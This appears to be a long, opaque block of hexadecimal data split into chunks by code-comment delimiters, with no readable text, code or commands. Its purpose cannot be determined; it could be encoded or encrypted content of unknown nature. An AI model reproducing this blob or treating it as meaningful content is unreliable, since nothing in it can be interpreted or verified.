d00462f84e4ad8ca218f32c3f2f8bbef8a0271c969dc1bbfcf85c38d78e47017dff6234e2272ae8a125102caf86d2d2ca18b5b01c473a002a4c37c2c43195c8cdf1c7b69b88ac804f3f56b10f5eb5d7d1a694fde0a06212eb96e981dbe4d4f042d4375cc5385a97cf8fb2a05fb4cf2827592882388df94e3468c043a5642893fe8dd0857c290119eb656bed4679ae9d4574974cd70fbd0183097dcb539dfda45d450f37126ea9619f2f58054fc4c0e80179ba8fe0879de8b0f569455ab8e61a75cc90f29824f6905d44be44f57384a1d43b426d4607464f65c9f6adb5582a312f06a92a02ce6fcdb9fc8d0aba4bdbcc840b38eb613a75058a7c7e41578191fe25dd76f6a210323fe88a62a9656d8a4d9f893602bdac0dde3ce19d511b9777d26cb62632977cf387fc03ea8c9ab901b104d3e492cdee365309e10eed11b507e6a84069167476164c5a0e32d10c7517f159e229c0fd42bd16c992dabe2b28feea196348aadc4920715a035814b7db3566fd77ebfc621557d93eb82970ae035df825fed13976e66b2cae9dfe054c4dc9d2dbb942ce588f25547625df14f108084436ecd5b069f8725969e966b826d240d1fcbd76d36469a05d743673d13ddfd5f002c6d79f67f9c23e2908b1fa0e9a26f174f63bd9c56cf226e0482bd1d388d528564e2ed0173216ab162aca398c80efba0b81aa6125609729efe64909e1a2f031bbcc6e57e46a894e747e4b853a196c28e19b04b01ae80a57663a26fdd5d8be57192a2d06f60a6aff67fcf3b02b00356933a11b550eda4e94a6d0b6fa2f303b1715db483915e03d3a7c941a679261273ac160c4f5383b9a65fb9ce274492df8e606e5ecf815ec66fec29c54c09cd84bd1bcc33d2e747e0e4018e42f1ac6fe026122fd5eefc24e7617baff886ab24ec41c6940421f033e37bb56eef2c26398d3c73d9334547820507ba2b7a2a6128d4c65bc677d18caff9fac4ca0a584680bee77f24e020693a59c8751bedaa42bd3db3c9aec7579c66eeeded3c18cc4f2f8e05252b22f4d4a26dc04658c1283064fda4340b578f8bf47cda71a8fd529f4819b894a739eece38ded3527b1c4ee9cea19398bf0505c6575e4de6379e0dd2373b2b59fa9daab05ba9651b20d810f07393bd4bc235208451091a0fcb10bf0cc26557281cb287db56ad2e2abc98ac6cf813a7eacc1a59d43afe288577882d679a761021811f0fe83c47dba78abfbd7e8b4d0ff7df2b9a50ef61bfefd9e76ee8ac801f01a9eecf555ca4d3ab9bb5dca7e8a672580430ae9d79bb3510dca7ef6636f34e31eab2a38bad4f2accdb3ac00dce837fc97f949810e4040a8bc5dd271e38ec3b8e85*/
/*83aa10246c8f6473c02725eca520593c10a47d45c65e9a78143530d1ebb4cedd78af7d9e78bbe6d6686bfe903ab2835d5e5df17c8968a067819c1bb5f16086b4f4e46070ac9021f610a096aeb2a71f1c9be98f8b37385d073ce77c7ebdfbe6b0302b74f9208808b7b299aa9e8e888bf897e90f96e9f0a3816c3456fb82722003baba064154ca0fcfbbf4540c373742bce68447258cf2767710fb200b413239482ad8140556caaa8f53abea41b6475c5d9f33298d9ac05407ffd89b2a0ee5b20d64c9889429e074381fe3a732238f680d526e1cbf5351e7417ecc04aa037c128c7b05bc8ca3aff55fd4c65e0e371033a46b68e34a51e9c5c5722b25aac3fcf8ccc79bc8d9008ac2288715826807769e72f360bd588fa5af33ec6b9508934888696561c6f20f6d4fabbccff513f8fce11be2883f110dcb1972f12ae3dcb2753d959e6e47eb3094e9170ff0b7b542c302c41a1c68695853576a4f3fe309441e7365c661c7770e0f16a82493f1727e5fb688e9665dd7db7385ca46fac41cd64583b5ccb710bb181d81ae75aa3a37743dc83bef37a82df9d08a86276fa9a54f914aef3be057d0b29663dbebfc2f0c4aa2e3e6b1d14dd1af26ca31abd81bda91bd91b386101c0bd8b23d63f915759751a861a6ccdc26248296407ca6c4c06f500003566658daa0b2088e897c8464023378b647a6bd34c326eb601bf00713ee3f28404aedb088484b113621ebe010b796af58578dd97c1987c112585d401b998f1687602f8f6f692a823d20dd6d3a4861a7531e53a19b8a55ba201a8b31ae0f20300fc657cfeb6a529c6041e058c469f3a30667f96a3479dcb2c03b89ac8df86414c837980673bf999ba8e055b0970275b2ff2baa87ea3944c891740eca4c196465044b0173780d363806dd86df8114a37b72da4353847c1eb9798908eea2c91282d3b575e10eb1b41a46ba2b0cffe8748172700da72d554a2ae8f66ca0b8a75f98c02c63cb86f6d09f16939701dfeea536833bab4cbb3140e3be0e5af8c9084dbf0aac78589b068de3ca719d867faeb15739986a3f262ba945f6d3215d70bacf3c90e13747e79938f72a5c29e8474df08d4e0870065dc1bb1caa351e8131c53048901bf25561b738b4620b1e36db0f13396028a135973ef65419df7f58ca93cc17df48ec5b12adadf1f0e44a2a574839261939640fd432cb8a26317521d808e2315872279330a8b42aac1df17c3aa4c51cee4fa6c5672a47acbbd96855117b132cd55ca2f8d2080bc2af57ba2c8e4191f796808409d4db8835046928992ff2d526cb73deb578f75704b7f9e0afc7d5d6fe9ce3f4435144dd68351cf70bfee03a0c1594ae2dbf88dff5e3aca48651ba6b14a26ccc6aa62c18394212454251f04cc90e0624c3713bfcc8099f2ae623e3eacdd4641107bb7e0d890e0335361eef18e4907397c26382869b2b5f5f9aacca485c3823f73fa5fa07e0d2678225b5090d1c6b79df471310ca03d4fa3c185094aca150254a3988ed1e351b324a2fe79ec80394c2e6592ab27285d183da2cf6cd1dccc3ab2c5c38db4275e0ac249a6db717ff03465db025eef2ba7b73e81761a643963929df82a5606d2ce64ff6cf40bb9c7aabb3c130746deda29b55ab3aded14c6373cd2cd790661dfb9a9dc42e47b20da621fb3d1d7911c2992fa5596b0e3d4b26f2ee068dd310759af9ef6cb92f17bb5af83357ad04ad3744694e6f57a073182cbe49323ee3480846d124ae719e465d4b7a0f198663217be3cc7ccadc2cfda87bd76118c3f4ad5c0493e9b6649b26d834c35f4816687463d798a4ed2f333b995f73245f557b3e51c175704539469b2826fffd256c0eedc16e2590cd507bb839fbe0416a7711876149ada836cdbc4d02ebaa82450d50385b893d111e579622aacdd59a21e7e853728825239aefa7ca0e34d6f773c340f18e84e0cb8192d38dec92474c33f497070dbee232b1e07905b0664687fc34be4e9375731c7b68c3fbb260d80345cb0c03166ab41efe077b841d22c3333b4f637e25c830f445da9b2b147ecf55ebf4f62efc1f7ac7e32013b5fba8c476199ff2721a457f4ce208264ce20d74ca391efd23ed050948d0def078ca9c8dcafe246823ae36a3fbaa9d2a2e203e22fa2b413cac6f5e9270b4f391b0c68da24eadc86224d0cec72526ff3ec67940cf42451770ef3518d4529bd5b7b6a64d4f3aeee5cfba0076238fa646b911bc96fceb447cb6556bf7ede2c29fa027f430f81294bfa7be364f7b15cb9c2857bd6c9ab0b0e4676bf707886bc205ff8757675914e95aeb02d620eb3b9538d33d79415c22b610930e11b6ad91aebe441f64883f76626565449245da99403465a288b4b739c08e4a8865533b8a1947c935a4b4f942a0bdb93938a19e159b76c61459b31c84f811f5498ee5c717ba7cfe745f17b7f9dd95fe41fcf7f314ffeeeedcf37fb254d2fbdbaa3f05101f59bba4eb941a0c0e557d6a938587073e170b7c55a5377c1f64529280a93c9181d590717b45ddf9c9fdb5501fd58c99816b3d1c191bdf6b8a0d50f5f24c05f10af1f51ab465273d0035dc2767c50164d98815737e228925fe8f5f9ce26e144df49767efd86055b80e1ab006684f59a2594b402e56a4ce071d364cf2b0c7828184fc355b7364137ebf7889bbd565afbd9ab6faaa4548dfea0aff7125782125959eb1424ccd84e7291e30cdd0b13fefc7ca5fcba58a46e90661920c93d2a019285995e85562703e792be4d7fabab7d52968b72ef69bd9c6fafa4d79a5d75c3c83e9780be61d30317b83b98581303d62f791a79cdf7473050540*/
/*a46485c0677734eee9a9b14f20103bab626d8a26cb25a6fd6881c09023bbb0872d2f0efd43ee372e494772b5ca38f72d4d1a8644dec299142c10d9ccf9740486bbc267c1474168080c4807502040e0e2b8d96ef1e0ac205fbfe4afb2185165a44c3495b2455ecafb7732196a901b7d463a1529b7f6592a100347c36761b2665cd0c8f7bc374838b242184873fa08a21ee15095be7b0af90489ee02d9fda1f4166473b7c1d9d812facec8c4f13f2159dc9be84c3d1c5117f38f77c39bdfd7d5eeccc19d9f0ad5e351a52b8e70caba0405d68b20c1849aea75e31a2c6f4693f39719c78ae4e32c462aa584d874d22fb395a072fd0fbcba6a279a4d67c7ba5276cfd711c6778763ffa62dcc2dbd1316db1736211aaa8da41e8051344ea6f30f2f3617dbe39de4db609ccd84d85d8acd87c32d0b0577a7bc2fd2515f5a2d7e7b7ba93a1445bf2b727092630dac38406f6028d7887c85b9d54ed757412448ade7d18a99c57c19547d0e008f298909887395e7d40630f98a16b373be1f180247748782600ec15ecf9aa31347cd5797a67cde69a788a4ff1456cb900bfd180f4ed24cd62c35d70fc97653f0a7f3a17a1a2f177788f985477abedd9030a10e735deef6ea9fcf5847a5ebf6a54091862e46c95fb771446aa62120b2254583e209f23e1e041140c6484b2125ed3115a0870b302d2220b0f4fed9b73ea01c8006ae97ea6572a1a89d596b3380c0ca2b706008ae2b9323fb569dad38ef85fdbc815c7c19a6e9022e0f04bfe25833077b02cd10653168520bd636eebf2574f5a0da0a442a48228add8b604ee0c11d36146fba66b60b82459a6623d46e82c719873d4f7321ee67bf6f32fdfc9833eaceb4d03ef485b4fccd44f8a507ef8c8d0f70a76e5d4ce68603d85a670a7b7f8f92c75c5e52ea7582cd8c9b4e2d1aac1ef2efc6123c04e8c45a8aa1595f9c030c38ea09e2172d0676faca5d1dce44f996af8d68afc90cfcdffa5facb82094d7149a3bd334dae98f53511a28bc53851b27e89d098db236eefbca2d36f85b9d02a807a8ca234064c6c66aaa07f702b24f9ba43862a0d45df0fb7069c0f2dbc9abfdcfa0ef35311c3f92c498070ae45807b521886439a09c14f66396fc54152b27d7eefa57ccad9fc5d994d89b5864e42040d60307efb0da2ff398087fa7c5f4bda77f6cd36e033982854027c2915cb43e3883d4d2e9d91cfa1b181d99f9ff571e264a8df5f4f657983bce0435680fb883f292a16c8b9c46d650135d05e98a300dd49b0aca840a6e42a32e66e312645ac6d283d2c8b390d2b752f1da5cf4b3e3bb21fb5750abd5e66bd59780894ef574c1fa29587b7180a894eca8bb53eda2ebc7d1fd84fd2a10da33c94d620afe2113c1962f61672560d9f62a11bc73610ab8bf759124a601a6fe84c2725318c3e8ac621dcee420d4b726cd4a461b61c019e300583389376da957d1c29d185ae84c62df646ba852a84164306b397ebf7a6ec305ad856b879f486b91030f58f57c1891000bf265dbd4f9d306a427e5dd23bb32828e563ede976ab3a7743381c7ac30843c04cb0fd46b84316059e21fd694a2dd8564735df58bf3ddd4d1cea854635cde8447169dbd2ae05f2626765a02b5d7418f5f0052de06924ff818a2c08b72ee71c5745132d7408e0c87eb21873d24538e811c497c1dd635421bfd54aa1fba9720e18ffb658cfeb9580806a983f3692f4a7e5ddc15dae06db058570b18d56c8e165aa902657fd7408dc534a80eed950e74fad73057eb5db3f6d83c2e78103e2acfa0177925f40c7824ddfdf799ee8c73418aa76829db9db783f3e5238b2880a1a7c9ae94e8719a7cc7a4ddeb4fc809fcdf9dd589e47b387f8893b3584e77a1b8584c4ae9a65afa6f7775c6876f6b5aa7f6224590ec83ecc5bf804f63eb587b437381c929345855a4f0db1234f454613a3bd61052e94a017a75cd2a491ba814517e725d8537a6006497593b5a708aa07e5fe0a6afc64f53490da016e127ee95bc5406ebbca886e3d6b9722b1a229f7110045a8cec50f1f7ba0fd28d12e708f7121d9f90a3e487bf2e571301ae9e87843fe4fee4208b948f1e05253f88d35ed28955724b7ded2bf1fd780e7f96df715f5a480f082b5f7aa1c157c95f0a89a84f2977f7f37045fc2c91e51a70d1a663060e114cf0405a38fa39476187afbdfa1f54d85ba8898b383ddb8e005174a2dc2b61f44c1a10a21fc5187fbdeefeb1970997947cef1ee53198a482e8d75989f42d039d823cea2bf020f138a574858f8dde16bcd2527f065a6cf599f93754914e593f5c6853e002251802c1e20f4f26ebf15a6edc7088dcfb202b73cad682cb154b2aa5115bba4f7040412fe67b04407ea53e85fa54628f802a6cae002f14d120c109b7202ec032f5d0d146427d2d609b5c58c00894c3bfd7916a25c7666dac0ea9af23d695d22d2bed648446e73ad1dad3bf5da4f71b7771aee92e4ebe9adec65687900f6374365b1a4d4106c27f8ffbfbfcdabd92595dc934da7019d216efb4a696d126c78da643ae24316ca837ee6e9e1fee6cc46e29a0306797760b9c486f273a205365a004acf174dc4245392a5712776bb8aeea0b724fd11f32ad213cde61c57015761bfbb29acab62f6a296382ba0039b277f8a5312c8eb0ce203efe07f5f90c82ae10f7dc3b6f99ed5eb41f54a9f00a4ee5c684892868fc39a07be8b45e2484ccd23b5668d6bc3de9b02f75140a6e7f6e84b204f61763d6ec6c4a87d16de6855f24c0a52997016f04884c2dce25c60fa8ad5a3ee97d507c01f50ba55cbb94f093bea43d8ece54eef400*/
/*8dc770ce970bca05a373e47e8e366ad5fae519e5d662ce632b9faf65d2eada5d55b76d54351c1733413e44da7200ee53a54c9230eca31493da941abf51bc65aedcfc6ef069e06b4cc9b6dd8976c6b6c742389737a0540577565bda2a30e488c81f0bdedcb56ec03d760ee39826b3a425f975b66900ab745488e31a4f0cb0b5049fa0db69f2ba8d7f1e74329e775ebdc24634993cad33ff75a9e39cc26b4b2c51e869984762253d07915ead373bbe3b4179440f3457fb25e500dd15b611280de3aea0ab3849da815373a2cd2734432dbddf6a598f0589227390d390afc8a6d0bf57985400250b4b3f91b711808a74bcfc188ff0ffed8a8c18175a3a4860aa7759733b868e31a9ea1d350166aa6b98bb2145a9706b668b02ae93227a3bb93811a5a6e63dba57f542cc745cce9d58c3a4a108de76e36528a2b190e04d3b97631497ef29c97697950ac7fb1c9c778a6ad082daf0337dec98c163bc8dadb661fbb6a7aafa83b9b4d93a5b12b6dc62156d206ab3c355099e9e5e83348ee39e50c150e5a40bfbca62ca8cb8b91905ee82b970fb84c35c4d8af7e02b9ed2f30162eeee34c80dc25484a363b1ae9106d792660d21da52be10ddf040bf3a5786658901cf0c79f13e16571a7fb3eb908ba72012a5bdf3225ff6e76fbd36a09ef06ebf6d09d41c1498ad5d65ab428c975f4bc4e96a6d711245ab01b6e9cbd290b5df11c5e61ce274110f9f70e2e58cbc155e3c018123eb2535d672b01f65a07297e9095cce09ab90dd2a907d1a317ceb784460df96b6b26eebc7d0c96a9690fdb83379f04d124a2616f62d75fd91e6fc860c5a18eb25fe3120f721b01c9fe59b197b2d46f4cc17e38119d979f3167aa0aea7f860808dbf4bfcbe9711f642f28b940e97f4aa872a19b9234393ae2ad133c530f5d1a51ad7b43af8abcea4f282d4000adc40b0de83caac6cf022a5b30d3d17ba31ac15f50689e1e715ef82436c86df64af2eef5f3730ffda80909802b0fb30e4aad0f3ada3afcca792647428cae08dff5a3d4e47e75b7df6c9213f13b41282cdb1d153dfa0ee54d73e2bc8f9cd902ca55bffe1e4dea39b4f8cc8541ed10352cc988bf6ab143db691d8849a9ec8e205d25bfa96c85ec4f5fee30c1bce6610dbc6004fb1523c6544268319f900c80839c0c9143c4289d0e32290800ce5976d6370e0aa45c4a6124d3873c447b08b564efe6f99ebcd5131b0e10337d4bc25431c423cdd6bef76714256426517f1d61fb207523dbda18ccc5b0f4ce0f9cd8baf0d9a105892babe01bac2e6813e45b82b756285a1bb9eaad66c8a13c44fcc40933c082606f06265329f414a39c809cf55fe5a0a9e4bcfa1d8f32aa1085e5494f80c2f87a39736fc727e79ef2ede61e78a15bec1823ad794664a57ee1753af9edd4528b3ed2ded109296872cdf0cb92ac65dbbaa86b5aa60e8722bf4d977f037ab7c68524d9e0bcec122f81b636ec7550d6cc63ff6fd8fa81e907824af64419588659bad212b37845d418b0074763db897c784563a2e4fa5497e1959b8b229dbfd2f1a6251a3f7de15e965961be146523e203261f8635663556d5bc3d3abab0658947103917f2848aa40a63d8f967d788b39488142d017e2d6c813c5367230bc49277ceff942acf04cd198e3df20d5c8d676a600027555826f8017c153f7746e9dfbbde2853194db897b5400a7f1793b13c6c2208c5e08ccfe0f085ecb4a4987af31aee9ef1c0e7ffd181349b93a4ef82c680527af49fd98cb33f3a037e53991823d7e464f46b273a64b434cf445335f6a9f05572516bca55cc8537f018bbc31c91f9e6a4f1ea7a05ea72ebf65757e4066db391192d1bab55f4a4f3724f9b7b1bb141bb6ad5225dbbaee7c7074df8463059f7a5a0806be43b4a933a300314db5e2af3bf9ceff8042b9943f58a9be894eb46e0d5c416843005c4db8379b4f563e4ca84641f336603bb4b1e605213c7237b0c096fbadcc0bc91ccdebaf0c45cc4c1d3c45b1b2fdaf41c372919aa810915f10a9a7d2f63982707703784a4bbc629c9d5945b3d37ee1513f51111fdfe155d6eac52446751404dbd98fbed85ed6158e5c68318cc687d4df49694a5cc9d9a52b34ee51e27c8735a0097bd76082260166ea339dc1e41f86d21980a7f86e80a785541b36cb1ca4ad452832192a91fd327a3f58fa88dc30c49a605e334f1ead8180245f9489fba06e23a76af337f50a81572da916fe4a6cccce8bf6abbd967b283d3f6fa93a4f7cc6839ceac8b1432a3c2d9fa8436a114afbfe9dbe4d03ac834244630fac6f92783d0afeda03ec239a1be33ecf84607bec2d2be1ba4aa33458179fc444c25e2fb8490b4984344fe79e77101e242d1b06552a7a21112c8b83bb579271ce237dcb64f0df8e9de9d5717bd970b3ecc5357adaff5c25b0adb70853fbb04c75763c45a1df5ba9e37c3ace326befeb6a2b790e2fdf4afd12c7aa53870c9753245d038665bc94bd8c55e317392556be4cc898365cefa3d3329f415c31fc6bfb946a738cd9a8354bb940acca20bd644c77acd4880a13485d035ccbfbae06b995db809ce9fd5b239e8e53a45dfb89e0e8fd5181964b08b14218e64c71197ee25057d15442d932b96fafcf1546db634febac4218c3f8dfdab267e2ca8f3843726f614f6951fb21db5d04c7acd03373b86bba4ed7aa14a1e9d82e8dc082ddfc18182f870a02cb216ab9e7cec7c0c5e84e0787cca27a263d7952cdedddbf3874a190bdd032ccdbae9029f2bb074cd9d0ddfc60e6d7483d8ef915bdb65f0ba2882fd72f17d58caaf284cc8e5becb5995454e51ae066d48875*/
/*97901723e5a8ebd2394e1296e03d1172126b0fd061b1b2b087f78230e9ade3e70d019733827e136d0cf6c9c238614a2b124fb92dc4c5b22d535e1c09192f130485cc93002d77070a78c52866c10936c00cf536c2a91b8e03da98862b2e1ef24920cf91560ef81b7984875e26a906f137c4e7da135c4616de852a23d3456f86bf31597be475e3bfdaae13017c160962703f9a69b5c5ea307e0dabc53d04742a5cdd300c78d98572442e171fc530680e765e9757ee4420302f893380031ddeb2574f6d7000e647688f0ab2a4e114da924c74a069b31e13a86e1f3d9c2e335d885332fff6f0a1226aa5288a71fc209f11e3aae116a2b17282c4ca8a1927b816d0ca5207dedd7cd12a3d3cced59d4ba128f6a83685dfe7070e529fb58b9ba93c5d6be58f3ba67f7abe835066260e0dce212b3efd7246c6528fecd8976c55741915bb79438fa58623ed4b99006b3f9f1e17a28b482f85461540f64229e8ac5a5641fdf6c29fa641fd5c6746605d81a868c00d255ad2a99e22a430935c5b850e545e0cd478e53a17eb2f0d7ddbc645e3c05c52ce302d9349462ac73426991c7ef81b95b931ada65dcbaaa000a677d0047608cb37f0e2cedcb3555d16b8414a574acc8a3c901f7bb05bd95c6106fc9b161ad6edeedfe777a41ab568e167ad840a2efe5aeb79e36ea9be5c588fd3dee39f302717d289332a3bdf1f20cb2603ed48f75f57c2a2f55b1ca1e247fbb1f5603ca5fd5a1b52f74ffc6216b6c6645a8fd4cc19e73df7917dd52f59bf11b3335064c7281997af842e0a5bc1917c17f406a6b24fa8b5f0b5fdb75881ae2b5ae3a464ece569dfbc1c2fb0fc60abb8a4ae76bd128f150613512d7e094da67fa702c4743ff2cebd5f0d3bb8a1f39435c666d1a735dd56427a9b1f2a0153b2dda249600444c07d11c3cbb492012bfb660afddb82df2340d5626100c73469cfd7cbb5b645ad8c1ceeb85b5aa2ecbbbb9b05b3cd8219f6969022b1b3b40f63869604e8487a884bdd37a45e7ed104980eb530b807d530525d31c92035b71d5c38a2baa1f220d7f0349e1f408bb60d592b734e897d0a9ba0f275f4a40fd92c417224fe8558101cda88513e95963077aa0d27ef4b0b905df0ce15ac388dfc8a1fd2925ec99303cb5a27abc25e4d2e692ea680f5b08fd63f05ba70580fc32297dd25ade05d227a78cc52b8bebb06839551a6ed70f1d2b5a4db495d3573dff3d04816cf068d910e9249ef8cff8f5cf44d1e1778a698f24d4f70ef99564f1361e8e6f6e25ac5901b7814d541105d0ea9ac9cf08cf6b70ee5942f707bae9230e0044fc8c849700336d891e16ef7a6c6db908ac496cf2b047a9f9a295070d86507c8da69dc7bee1c230b23e14d0a5756cc2f7481f739b26357aa5bd6022bf08bb3605213ad586076199be7669b84098ae00fdb37c1adc5761649301a019b9b53ced1150659c78faca71248155fe7564d7e128aff13e62af4b1dd35a173a46f5aa60961c09c04be583b4e783656f34bd4604de3d8327deaf531acbc45b7fbde32418431483839f40425110415a02d68f6e0d0410894064f864bc2bf676bc4bdaaecdce7b95f42aa06186239147599093dd9f5fb17144c5998f155faba20dad0e878ce3ef8f7d6141af8a16059aa30e910839e550439c3096096da6521702520780bae9292e3a080fcdc4c0e5600a294c44822195ecc9e5a9c7525a1039a846084942c709567ad8cfcdb22913c430842448ca88c702824eef82cc9a35c37889e00ac27d4a056e6a2b1607cbf28988141a5432b862aaef0a15aeb8ccd6fd1e7d2aa41b487b281792e6b9b08e74a1df48b25ffebb2d248d562d2febf640c7abc60d2fa9f585d9f6142506cd840ce79050ed0d41a74f0bd5dc146261eaeb0f3ed4f52a6bc7517426ff8357499bde83dee463af193f15e38bb07119f55e8fe54bb47cea07eaf5c1149bfc2ed203cfba34cd460dc59b9b810b9e8ec615f755ba17083fbee79b7277a3f03a97bd239447200520fec53aaa01387dfd22db8f29bc88d2c9693dcddd07df46a7b2d01cf60d41f02604294e50f75778968711e9871f8d50d2f87df1f94b6e521a0a2f42ed306ac17e71e594f083b58c7980c2d4069ecc396dd561da338d861c2adcda1476b460b851ecc92ea3970ffbb777fef3b154be7a268ef681df5f859a836a0686232ee2aa22eb0387a990a78bde34a542c9279f4ce973057df3c7a5a9283e3ebb37a36e7695717af317f993f10aa19fa85b16fba801e81dd2b3064e0a14f2ba4179bc47f2b41498da57353a344101e54dee4488dd32cc70db86d2134e41d3b211a08ed0fa5c3da28776f6f04f938214fd5e87a36af6f5c116ae21ff3c71256553bf2bbf1684cfce5cc3956aa4378be6d7205d402fd17dceed2a4f6db56a25a3b551783d34d7824607189d8d474535830717726f1ac6a713a2782a5f445476b0aa4fc319e0e748121055bda2808bcbe072751dc42635fee91e76a10d29cebfc113d921c379cfc9f037f6bed158c1fffb2f500f11448707eb2195ec406b2812875c78b1883b5f7eda84b8d500789f3a69aac1f736bc59071e605869ed5cc2ec0b4688b54e73d67d6887f8b64b7ba512495bc4a4dfbffa945d624f98d62e11685a963966b10d9832fdee0c18c369d368018898583a69b311641847837ac4cecb11b774f087e96123695c92d04251c2169794c78645d237815e62a1385cac6704c6396376fe57eda29ed9f125fdfb16330c8556aceb93ecd600d29b8a25c761d71d5f928b6d205bca75ff6a55d6c07ba757739cd42c5963b7c70e0470b2a2fdc0e80e395*/
/*e9717b3270ff3cd1a7a3684550f5b65bda725d3e75c3d9038b5cc7ce5fb9edd53691a7b34e8ec3b50fe8483a281abf2d15f585cde2ed4bdde5e8945410d0927f57435225709c46bb4ecdb1d1dc5843ee01cc2acec657ac0b2bc31149c45b0076f0e5d81c7a3c5659ca7de77ec410c5dcd779d35251aaae1b5112875da322e8423370a6084dd7ca2d7c2fcdf311ca08da064f9ddbe7e5ee823fcab55290e8b66e63cb2c1413216a6779d4369cbde7bd710765e65dbc605514b61d2ba46f82dfa7664a2c1940104345651123ffeb30358f6279a0605777ee93d3b8406681726ed84bda400db1506d2dbdfb3b09e09e5d38894f5d7771f475940e1e4a0b16ba05c3a34840f59368728fc7e4ed63fc47af331b02b9cfb17485f87b84fc61e2efeadbe885b57159e638bebb1188a1d510d412e2818bfefd1f038fead02f68c68d75448ae9da8c615352b6118bf2b3e8b372d78f59637ce804919840ace15fb2a304541e2c62b7775c5c121fe2e3387d8f5374ec8db82bfc68ca0502493b7fa2204a8df7bdadedaafb4d6ad6186c9bb330c9ecc9907c710d9de3c61b640ccf0dd8d591132dca8261e150eb84667c1aa03b3466c359f6b5709469d63060054b37934c34f536be5af72e977cff2e392c9e9db80213c89511fbc63639d4e5d20a03a78bcf0c10fe8831e313030660d4543ee52a4c9e2cfcffb69f014e4135274d3594739a78d8271f9ac1a0f0faaf89f6b1cc63983d00d5a9318b23d4825d9790a8a157426247d7d115342a075429f3e992f2a146c011604c6c2515f6defe9884a85c8767a86e29c25380a81601b9c1ad37e723a3e31346d589b8a70fac253b147e6c54c23544686eecf91ff874867c4df2ac1224bd671a6d5d0c060547d93f5478b54e90fff59593f9b6c1a8d559b60c68de68a255dc8eeaccda8aa39452edea8fa5c297275138a90c1619cc1db44541625cefe14171ee680751669034242876ab0e20ff0796e3b8265533c908841f5a8f1a672089aa2509d4e1f7f00c1534198b8cb05ee7e4567b930efe27c25b43e860290134250a8071320645bf3acf8a03e5cd29ddc10cdf91416c54fa3840a219c0266b65de9a29db12f29f8eba5ab178340a50514730d2b73b5c48bbb80fb851598fa592179f612141f886d1a71407e309aae9e05b9830a33b6685aaf200bcb15a373f286abe50442c5ca78583ef59f1e6388d628e1942b378772993b7ab03e825e6628a891a6fb922bc94180b5728598f757f35b8f1005e07ece58caf5959777c86d3c39e66b2eddd0a31bfbc8f74ec1152830f80f0e65ff3973aaa31ccfdded82b6410b68474ae68b966ddd7bd9a3c351e2499e8c1f82985e3f81e405d0d81574b629fb01b0e9d07d5140937e30cca24e4d79261d948d53afbbbacf1e7dc28f23757d7810596c09a2f704e27c0fa26744dff4d9b517453c9330cd2aa02794dfd57ef5155ece3335180c98aaca6eb18c045bb0f212c3220664d0c45c12fbf53d437708e7d2a9849e3307b309a083dae00e4fdaa6ab1fc083e4da177f06bbb0c56e621e3baf969d4e1ff51d3ba4b44d6d4cb222deaf01d726b8386c506c6438cc12bedad3d0ed53e623184001ed62b4a29eaadd493325f2cd48cab14a41ddaceb9768e41e36a5a21eb33ff171ac421f5bff231fb6afcb3dd33259b2e301ea75ccc136c450cc23bafc2fc5a1a6ea297a5d1d03e766c77a1df29a2d26d9fd50295f318cae834941035fedb391d9d837f4ff4a1e7ef5d5c585a0efe7ba960363b1ba4b5dc1fd708ab024faa9e4cc7b6b5ae6362e359ddb36ed7bd613bb6761187ffe89c3e0111a049969f5d936b2a40f5c0e13a68d2253892fe3451523abc6f211db06b3e6fa2c5b3296997b6bdcdfb1ee8097fa9f79897b55936d7b6c876eed318e794884c9738fd07365d87fed072398ad10037b550a82960a5944c7b64cfb241b4f1d0ce5c574968ac965d2029815b618f231fb85082274b5577b5661877c4d0baee26f045141f62a73a08d201c206275e698dbadc0541e16fe02e763fc938e42a842a1385919a3c96ab4537d23e021d76c2e48c387230003ebfd4bb945b2d4fdffda6ec4bba93581b7743ad06f62be9c6718079faddda33d6ba2c6685e0b76a00d1ee316ce8d9dba8f8ee459b325a0828fdb6e0aab6c5dab6cef0bf8a380e4a28aa9c694b069066099358fcd679c3bb4e4a546230bd69eed8788b393b65b90b5e8e1ffea505dfb1061a6057680a98b3177315e354287675e28082308f050ab438f382f898ab6c63d99732eeabb177e5f4d9f43919c998651de2c2461177df5a9cecb034f9e1758ae5211b393ad39b5dff60b015db1cff59d8bf577977675c844042c48a99454aabf08a4d141cec8f0ec0f50c3dcd63ba219aac1254a9d71b8fa33937c2832d8b2edb9268d1f6e70d0a43083290f40e9121acad3f6c360ebe754b24cf8a4bfbd4b38e71869a5def9233aec8144266d192270c2aed3433a4d4be270e4b1e65e3f22c835cbb3ae2aa64d162b55742ed9093facc8abf8d6d2bf48d12cf3b07c312273a64d4020ae8bc31ebe9a868a36d4aff8f29481876c3b4dfa4bce4186acc6e219814ee157f4bd4e07e132a50b1b25e339276507e5e64b0733f2ee69c4fa3cdf579111b779e385169008e635bfdd8372a96865ef1322d3066bbb7ba8e25b06dd44b13a20fc4600c0631b8b43b90d1a74f957ead774178068c480e99c5f5f5676edc833986eaaa0e264b14c358bb38029d26b10a27ce7446fb0c16781f8662f674831ce2564e45474b7ac160f66e78c75ad9b1bfd632a93d5abfb6298789*/
/*0013d809faffb23fe6500a2b6803d500a78e0e98b236fb3c8695e61710d6f4eeede2a80401d27283a145a987e1bfb26dc0be2c80c74b60b7f71e029c9ebd42e7f9b10488a90c03fc3dfd977f014a06132ad6a667ee55fab87ddb670ac021387156edbaa508219c8424559a1e1892af600483173e427d11a620fbd50d6756806a3679fe5319ae1138a9236c5e0198528b29a345d563bb8c425e7ab502e7cf6fce759bc959bb69fbdff9c14024a2d4f85d98dafa423234fd7a3650ecc99ed0ac62ad1b10bace0bbab7a709fe018cdeb1a4b06b6f640149615b7237b08c7fbbd19be533270b22b3683f626b720bacb85efffcb351c4bc3a2661622a20a562ba1b834bf41cae0bc08f62663d1c6401ffa79a94449a2c642f8af54cd0b6855e921b0f5f3b3af42913ac08967d07a5ad484d2213e22b1449d281ac86a116eee035785e0e1191badaf2d5d3a4851226771838b75d7ff14026071aaf57664568ff6a73bc325c6d770c37c103c323ff94678fc0cd497b4d9304fa7bc0704af76645d2e2ab943b021d2bee84ef1cf54c299748b70db1b60b9ad70676ee7ddbf788a1516a7f08ae6bc100d171b571626d58b807d16e7c456d10c6d5c795923ffa5e48a448f9ca453c7d3aa39753a303f3282c0d33d1c626af547b1e3fdba586624fb71371c5881911319441215d0e7c9b3ebcbba5282713f0081cc9df058efbdcf3b433575f1765cc8a95c7d0b291ac871d403451a7a68379371589ed8fc9edca5878becce5f0ad97fc417bb5a23ded9e53e76c5a9e09fe1ea01c461e3d72765835710c8915ee9b547f65f7b72de6518f7b9c3451152fdfdb29a1bd3f470bb8714b9628e2d51a